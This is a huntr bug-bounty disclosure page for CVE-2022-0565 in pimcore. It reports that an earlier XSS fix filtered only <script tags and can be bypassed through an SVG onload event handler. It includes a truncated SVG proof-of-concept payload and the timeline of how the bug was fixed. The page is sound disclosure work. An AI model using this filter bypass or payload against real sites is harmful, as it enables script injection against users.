huntr

Exposure of Sensitive Information to an Unauthorized Actor in pimcore/pimcore

1

✓ Valid Reported on Jan 20th 2022

Description

XSS

Proof of Concept

Previous bug https://huntr.dev/bounties/96506857-06bc-4c84-88b7-4f397715bcf6/ is not properly fixed. it can be bypassed using with event handler . https://github.com/pimcore/pimcore/commit/35d1853baf64d6a1d90fd8803e52439da53a3911 its only checking <script tag which will be bypassed using onload event handler

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" or
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;s
</svg>
```

CVE
CVE-2022-0565
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
High (7.6)

Visibility
Public

Status

Fixed

Found by

ranjit-git

@ranjit-git

amateur ✓

Fixed by

JiaJia Ji

@kingjia90

maintainer

This report was seen 456 times.

We are processing your report and will contact the **pimcore** team within 24 hours. 10 months ago

We have contacted a member of the **pimcore** team and are waiting to hear back 10 months ago

We have sent a follow up to the **pimcore** team. We will try again in 7 days. 10 months ago

We have sent a second follow up to the **pimcore** team. We will try again in 10 days. 10 months ago

We have sent a third and final follow up to the **pimcore** team. This report is now considered stale. 10 months ago

JiaJia Ji validated this vulnerability 10 months ago

ranjit-git has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

JiaJia Ji marked this as fixed in **10.3.1** with commit **7697f7** 10 months ago

JiaJia Ji has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Chat with us

Sign in to join this conversation